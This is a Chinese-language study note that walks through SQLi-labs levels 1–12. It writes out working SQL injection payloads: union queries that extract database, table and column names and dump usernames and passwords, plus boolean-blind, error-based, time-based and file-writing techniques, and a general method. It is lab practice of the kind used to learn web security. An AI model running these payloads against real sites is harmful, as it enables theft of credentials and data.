最近刚学习了SQL注入的基本操作,这里浅浅记录一下有关SQLi-labs通关的相关内容。
概述
SQL注入
攻击者通过注入SQL语句片段导致后端执行预期外的SQL查询。
漏洞危害
- 数据被窃取
- 服务器被攻击者控制
- 网站页面被篡改
sqli靶场关卡记录
第一关
1.根据报错提示,确定闭合符为单引号
2.使用 order by 确定列数,即 ?id=1' order by 3%23
3.获取数据库名
?id=111111' union select 1,2,database()%23
4.获取表名
?id=111111' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'%23
4.查询所需表的列名
?id=111111' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'%23
5.拼接查询用户所有信息
?id=111111' union select 1,2,group_concat(concat_ws('|',username,password) ) from users%23
第二关
- 通过2-1 算式判断出注入类型为数字型注入
- 之后操作同上一关,先判断列数,然后获取数据库名,查询表名、列名,查询用户信息
第三关
- 根据错误判断可知 归并符号为 ‘)
- 之后操作和前面类似,先判断列数,然后获取数据库名,查询表名、列名,查询用户信息。
第四关
- 根据错误判断可知 归并符号为 “)
- 之后操作同前,先判断列数,然后获取数据库名,查询表名、列名,查询用户信息。
第五关
- 方法一:通过页面结果发现,输出相同,所以考虑布尔盲注。使用ascii(mid(database(),1,1))>114 判断注入结果是否正确,这里可知数据库名第一个字符为 s ,因此可用类似的方法得到所有结果。
- 方法二:使用报错注入。通过extractvalue()函数可以爆出数据库名,因此也可用类似的方法爆出所需信息。
?id =1' union select 1,(extractvalue(1,concat(0x7e,(database()),0x7e))),3%23
第六关
同第五关
第七关
- 根据提示可知需要使用写入文件的SQL语句
- Union select 1,2,database() into outfile “c:/res.txt” 可将数据库名写入res.txt文件中。其他信息写入可采用类似方法。
第八关
同理
第九关
- 发现所有输入都会返回相同页面,因此可用考虑用时间盲注,根据查询结果的正误所导致的时间延迟来判断正确性。根据1’ and sleep(3)%23可知归并符号为 单引号
- 之后操作同布尔盲注,后面还需加入含有时间延迟的判断条件,具体见下图。因此可根据页面返回时间判断结果是否正确。
第十关
- 发现其情况也符合时间盲注,且判断得出闭合符为 ”,其余同第九关。
第十一关
- 这里的注入点为提交表单,因此将注入语句写在username一栏中。方法同前的字符型注入,闭合符为 ’
a' order by 2#
2. 最后在username注入,得到数据库名和所需用户信息
第十二关
- 方法同第十一关,根据判断可知闭合符为 “)
- 使用类似的注入语句得到数据库名,因此也可得到用户信息。
总结
这里总结一下SQL注入的大致思路:
- SQL注入首先需要找到注入点,是URL还是表单亦或是其他。
- 根据页面返回的提示(返回都一样也是提示,比如时间盲注),初步判断属于哪种SQL注入类型。
- 判断闭合符号
- order by 判断列数(采用二分法加快速度)
- union 查询库名、表名、列名等所需信息。